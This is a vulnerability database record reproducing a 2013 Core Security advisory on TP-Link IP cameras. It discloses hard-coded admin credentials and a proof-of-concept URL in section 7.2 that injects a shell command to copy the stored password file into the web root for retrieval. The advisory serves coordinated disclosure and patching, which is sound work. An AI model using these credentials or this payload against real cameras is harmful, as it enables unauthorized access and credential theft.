ID

VAR-202001-0854

CVE

CVE-2013-2572

TITLE

plural  TP-Link IP Camera  Vulnerability in using hardcoded credentials in product

DESCRIPTION

A Security Bypass vulnerability exists in TP-LINK IP Cameras TL-SC 3130, TL-SC 3130G, 3171G, 4171G, and 3130 1.6.18P12 due to default hard-coded credentials for the administrative Web interface, which could let a malicious user obtain unauthorized access to CGI files. plural TP-Link IP Camera The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. TP-Link IP Cameras is an IP camera device. Multiple TP-Link IP Cameras devices use the default account with a username of 'manufacture' and a password of 'erutcafunam', allowing remote attackers to use this account information to gain unauthorized access to the device. An attacker can leverage this issue to gain access to the vulnerable device. Proof-of-concept code that exploits the vulnerability is publicly available. Administrators are advised to implement an intrusion prevention system (IPS) or intrusion detection system (IDS) to help detect and prevent attacks that attempt to exploit this vulnerability. TP-Link has released beta versions that fix this vulnerability. Administrators are advised to contact the vendor for future updates. Core Security - Corelabs Advisory http://corelabs.coresecurity.com TP-Link IP Cameras Multiple Vulnerabilities 1. *Advisory Information* Title: TP-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0318 Advisory URL: http://www.coresecurity.com/advisories/tp-link-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: TP-Link Release mode: Coordinated release 2. *Vulnerability Information* Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2572, CVE-2013-2573 3. *Vulnerability Description* Multiple vulnerabilities have been found in TP-Link IP cameras based on firmware v1.6.18P12 and below, that could allow an unauthenticated remote attacker: 1. 2. [CVE-2013-2573] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users. 4. Tests and PoC were run on: . TL-SC 3130 [CVE-2013-2572] works with this device only . TL-SC 3130G . TL-SC 3171G . TL-SC 4171G Other TP-Link cameras and firmware versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* Vendor provides the links to patched firmware versions. This software is *beta*, TP-Link will release the final versions with release notes and some new functions and fixes in the following days. http://www.tp-link.com/resources/software/TL-SC3430_V1_130527.zip . http://www.tp-link.com/resources/software/TL-SC3430N_V1_130527.zip . http://www.tp-link.com/resources/software/TL-SC3130_V1_130527.zip . http://www.tp-link.com/resources/software/TL-SC3130G_V1_130527.zip . http://www.tp-link.com/resources/software/TL-SC3171_V1_130527.zip . http://www.tp-link.com/resources/software/TL-SC3171G_V1_130527.zip . http://www.tp-link.com/resources/software/TL-SC4171G_V1_130527.zip 6. *Credits* These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. 'boa.conf' is the Boa configuration file, and the following account can be found inside: /----- # MFT: Specify manufacture commands user name and password MFT manufacture erutcafunam -----/ This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/': 1. 'manufacture.cgi' 2. 'wireless_mft.cgi' The last file contains the OS command injection showed in the following section. 7.2. *OS Command Injection in wireless_mft.cgi* [CVE-2013-2573] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section: /----- username: manufacture password: erutcafunam -----/ The following proof of concept copies the file where the user credentials are stored in the web server root directory: /----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/ Afterwards, the user credentials can be obtained by requesting: /----- http://192.168.1.100/credenciales -----/ 8. *Report Timeline* . 2013-04-29: Core Security Technologies notifies the TP-Link Customer Support of the vulnerabilities. Publication date is set for May 28th, 2013. 2013-04-30: TP-Link team asks for a report with technical information. 2013-05-02: Technical details sent to TP-Link. 2013-05-12: Vendor notifies that a new firmware will be released around May 20th. 2013-05-16: Core asks vendor if they are ready for coordinated public disclosure on May 20th. 2013-05-17: Vendor notifies that they have fixed the firmware but the testing process won't be ready before May 24th. 2013-05-20: Core notifies that the advisory publication was re-scheduled for Monday 27th. 2013-05-23: Vendor sends a copy of the beta firmware in order to confirm if issues were fixed. 2013-05-27: Vendor notifies that consumers are able to download the Beta firmware from TP-Link website. The final release will be made public in the following days, and will increase some new functions. 2013-05-28: Advisory CORE-2013-0318 published. 9. *References* [1] http://www.boa.org/. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

trust management problem

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Core Security

SOURCES

LAST UPDATE DATE

2024-08-14T14:19:11.798000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE